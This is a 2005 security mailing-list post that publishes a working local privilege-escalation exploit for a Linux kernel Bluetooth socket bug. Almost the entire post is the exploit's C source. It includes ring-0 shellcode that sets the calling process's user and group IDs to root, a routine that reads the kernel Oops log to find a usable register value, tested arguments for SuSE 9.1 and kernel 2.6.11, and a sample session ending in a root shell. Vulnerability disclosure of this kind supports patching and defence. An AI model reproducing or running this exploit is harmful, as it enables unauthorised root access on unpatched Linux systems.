From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Date: 11 Apr 2005 17:36:36 +0200
Subject: [EXPL] Linux Kernel Bluetooth Local Root (Exploit)
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Linux Kernel Bluetooth Local Root (Exploit)
------------------------------------------------------------------------
SUMMARY
A bug in the Linux kernel and in the way it handles the bluetooth sockets
allows local attackers to gain root privileges.
DETAILS
Exploit:
/*
ONG_BAK v0.3 [april 8th 05]
"""""""""""""""""""""""""""""""""
ong_bak now checks the value of ecx and launches
the exploit in case a suitable value has been found!
ONG_BAK v0.1 [april 4th 05]
"""""""""""""""""""""""""""""""""
local root exploit for the bluetooth bug
usage:
the bug is quite stable so you can't really fuck things up if you stick to
the following:
play around with the negative argument until ecx points to our data
segment:
qobaiashi@voyager:~> id
uid=1000(qobaiashi) gid=100(users)
Gruppen=14(uucp),16(dialout),17(audio),33(video),100(users)
qobaiashi@voyager:~> ./ong_bak -1002341
-|-local bluez exploit v.0.3 -by qobaiashi-
|
|- i've found kernel 2.6.4-52-default
|- trying...
|- [ecx: 0b8f0f0f ]
qobaiashi@voyager:~> ./ong_bak -10023411
-|-local bluez exploit v.0.3 -by qobaiashi-
|
|- i've found kernel 2.6.4-52-default
|- trying...
|- [ecx: 0809da40 ]
|- suitable value found!using 0x0809da40
|- the time has come to push the button..
qobaiashi@voyager:~> id
uid=0(root) gid=0(root)
Gruppen=14(uucp),16(dialout),17(audio),33(video),100(users)
qobaiashi@voyager:~>
the parent process becomes root.
that's it.
unfortunately it's not yet very practicable..
qobaiashi@u-n-f.com
*/
#include <sys/klog.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#include <sys/utsname.h>
#define BRKVAL 0x0cec9000 //should be enough but fix it if you get an
error
void usage(char *path);
//due to changing task_structs we need different offsets
char k_give_root[] = //----[ give root in ring0/tested on linux2.6.5/x86/
by -q ]-----\\
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xc0" // xor %eax,%eax
"\xb8\x00\xe0\xff\xff" // mov $0xffffe000,%eax
"\x21\xe0" // and %esp,%eax
"\x8b\x00" // mov (%eax),%eax
"\x8b\x80\xa4\x00\x00\x00" // mov 0xa4(%eax),%eax
"\xc7\x80\xf0\x01\x00\x00\x00" // movl $0x0,0x1f0(%eax)
"\x00\x00\x00"
"\xc7\x80\xf4\x01\x00\x00\x00" // movl $0x0,0x1f4(%eax)
"\x00\x00\x00"
"\xc7\x80\x00\x02\x00\x00\x00" // movl $0x0,0x200(%eax)
"\x00\x00\x00"
"\xc7\x80\x04\x02\x00\x00\x00" // movl $0x0,0x204(%eax)
"\x00\x00\x00"
"\x31\xc0" // xor %eax,%eax
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
char k_give_root2[] = //----[ give root in ring0/tested linux2.6.11/x86/
by -q ]-----\\
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x31\xc0" // xor %eax,%eax
"\xb8\x00\xe0\xff\xff" // mov $0xffffe000,%eax
"\x21\xe0" // and %esp,%eax
"\x8b\x00" // mov (%eax),%eax
"\x8b\x80\x9c\x00\x00\x00" // mov 0x9c(%eax),%eax
"\xc7\x80\x68\x01\x00\x00\x00" // movl $0x0,0x168(%eax)
"\x00\x00\x00"
"\xc7\x80\x78\x01\x00\x00\x00" // movl $0x0,0x178(%eax)
"\x00\x00\x00"
"\xc7\x80\x6c\x01\x00\x00\x00" // movl $0x0,0x16c(%eax)
"\x00\x00\x00"
"\xc7\x80\x7c\x01\x00\x00\x00" // movl $0x0,0x17c(%eax)
"\x00\x00\x00"
"\x31\xc0" // xor %eax,%eax
"\x40" // inc %eax
"\xcd\x80"; // int $0x80
main(int argc, char *argv[])
{
char buf[2048];
int sock, *mod = (int*)buf;
unsigned int arg;
int tmp;
char *check, *ong_code = 0;
struct utsname vers;
printf("-|-local bluez exploit v.0.3 -by qobaiashi-\n |\n");
if (uname(&vers) < 0)
printf(" |- couldn't determine kernel version\n");
else
{
printf(" |- i've found kernel %s\n", vers.release);
if(strstr(vers.release, "2.6.11") > 0) ong_code = k_give_root2;
if(strstr(vers.release, "2.6.4") > 0) ong_code = k_give_root;
}
if (ong_code == 0)
{
printf(" |- no supported version found..trying 2.6.4 code\n");
ong_code = k_give_root;
}
if( brk((void*)BRKVAL) == -1 )
{
printf(" |- brk failed..exiting\n");
exit(1);
}
if (argc < 2)
{
usage(argv[0]);
exit(1);
}
if (argc == 2)
arg = strtoul(argv[1], 0, 0);
if (argc == 3)
{
arg = strtoul(argv[1], 0, 0);
mod = (unsigned int*)strtoul(argv[2], 0, 0);
}
if (fork() != 0)//parent watch the Oops
{
//previous Oops printing
usleep(100);
if ((tmp = klogctl(0x3, buf, 1700)) > -1)
{
check = strstr(buf, "ecx: ");
printf(" |- [%0.14s]\n", check);
if (*(check+5) == 0x30 && *(check+6) == 0x38)
{
check+=5;
printf(" |- suitable value found!using 0x%0.9s\n", check);
printf(" |- the time has come to push the button... check your
id!\n");
*(check+9) = 0x00;*(--check) = 'x';*(--check) = '0';
mod = (unsigned int*)strtoul(check, 0, 0);
for (sock = 0;sock <= 200;sock++)
*(mod++) = (int)ong_code;//link to shellcode
if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)
{
printf(" |- something went w0rng (invalid value)\n");
exit(1);
}
}
}
return 0;
}
if (fork() == 0)//child does the exploit
{
for (sock = 0;sock <= 200;sock++)
*(mod++) = (int)ong_code;//link to shellcode
printf(" |- trying...\n");
if ((sock = socket(AF_BLUETOOTH, SOCK_RAW, arg)) < 0)
{
printf(" |- something went w0rng (invalid value)\n");
exit(1);
}
}
exit(0);
}
/*****************\
|** usage **|
\*****************/
void usage(char *path)
{
printf(" |----------------------------\n");
printf(" | usage: %s <negative value> \n", path);
printf(" | tested:\n");
printf(" | SuSE 9.1: -10023411 \n");
printf(" | -10029 \n");
printf(" | Kernel 2.6.11: -10023 \n");
exit(0);
}
/* EOF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:qobaiashi@u-n-f.com.>
qobaiashi.
The original exploit can be found at:
<http://home.paf.net/qobaiashi/ong_bak.c>;
http://home.paf.net/qobaiashi/ong_bak.c
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